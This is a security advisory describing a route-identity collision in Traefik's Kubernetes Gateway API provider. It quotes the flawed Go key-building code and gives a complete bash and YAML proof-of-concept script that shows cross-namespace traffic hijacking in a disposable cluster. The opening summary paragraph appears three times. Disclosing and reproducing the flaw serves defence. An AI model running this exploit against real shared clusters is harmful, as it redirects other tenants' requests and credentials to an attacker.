Traefik: Gateway API route identity collision allows cross-namespace backend hijacking

Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.

Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.

Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.

## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit namespace: gateway --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: traefik-route-collision-lab roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: traefik-audit namespace: gateway --- apiVersion: apps/v1 kind: Deployment metadata: name: traefik-audit namespace: gateway spec: replicas: 1 selector: matchLabels: app: traefik-audit template: metadata: labels: app: traefik-audit spec: serviceAccountName: traefik-audit containers: - name: traefik image: traefik:v3.7.8 args: - --entryPoints.web.address=:8000 - --providers.kubernetesgateway=true - --global.checkNewVersion=false - --global.sendAnonymousUsage=false - --log.level=ERROR ports: - name: web containerPort: 8000 --- apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: name: traefik-route-collision-lab spec: controllerName: traefik.io/gateway-controller --- apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: shared namespace: gateway spec: gatewayClassName: traefik-route-collision-lab listeners: - name: web protocol: HTTP port: 8000 allowedRoutes: namespaces: from: All --- apiVersion: apps/v1 kind: Deployment metadata: name: victim namespace: team spec: replicas: 1 selector: matchLabels: app: victim template: metadata: labels: app: victim spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=VICTIM_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team spec: selector: app: victim ports: - port: 80 targetPort: 5678 --- apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: a-app namespace: team spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s kubectl -n team rollout status deployment/victim --timeout=120s kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \ >/dev/null 2>&1 & PORT_FORWARD_PID=$! trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then break fi sleep 1 done printf 'before collision: %s\n' "$RESPONSE" sleep 2 kubectl apply -f - <<'YAML' apiVersion: apps/v1 kind: Deployment metadata: name: attacker namespace: team-a spec: replicas: 1 selector: matchLabels: app: attacker template: metadata: labels: app: attacker spec: containers: - name: echo image: hashicorp/http-echo:1.0.0 args: ["-listen=:5678", "-text=ATTACKER_BACKEND"] ports: - containerPort: 5678 --- apiVersion: v1 kind: Service metadata: name: backend namespace: team-a spec: selector: app: attacker ports: - port: 80 targetPort: 5678 YAML kubectl -n team-a rollout status deployment/attacker --timeout=120s kubectl apply -f - <<'YAML' apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: app namespace: team-a spec: parentRefs: - name: shared namespace: gateway hostnames: ["collision.example"] rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: backend port: 80 YAML for _ in $(seq 1 60); do RESPONSE=$(curl -sS -H 'Host: collision.example' \ http://127.0.0.1:18080/ 2>/dev/null || true) if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then break fi sleep 1 done printf 'after collision: %s\n' "$RESPONSE" kubectl get httproute -A --sort-by=.metadata.creationTimestamp ``` Expected output on v3.7.8: ```text before collision: VICTIM_BACKEND after collision: ATTACKER_BACKEND NAMESPACE NAME HOSTNAMES team a-app ["collision.example"] team-a app ["collision.example"] ``` The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating. </details> ---

Traefik: Gateway API route identity collision allows cross-namespace backend hijacking in github.com/traefik/traefik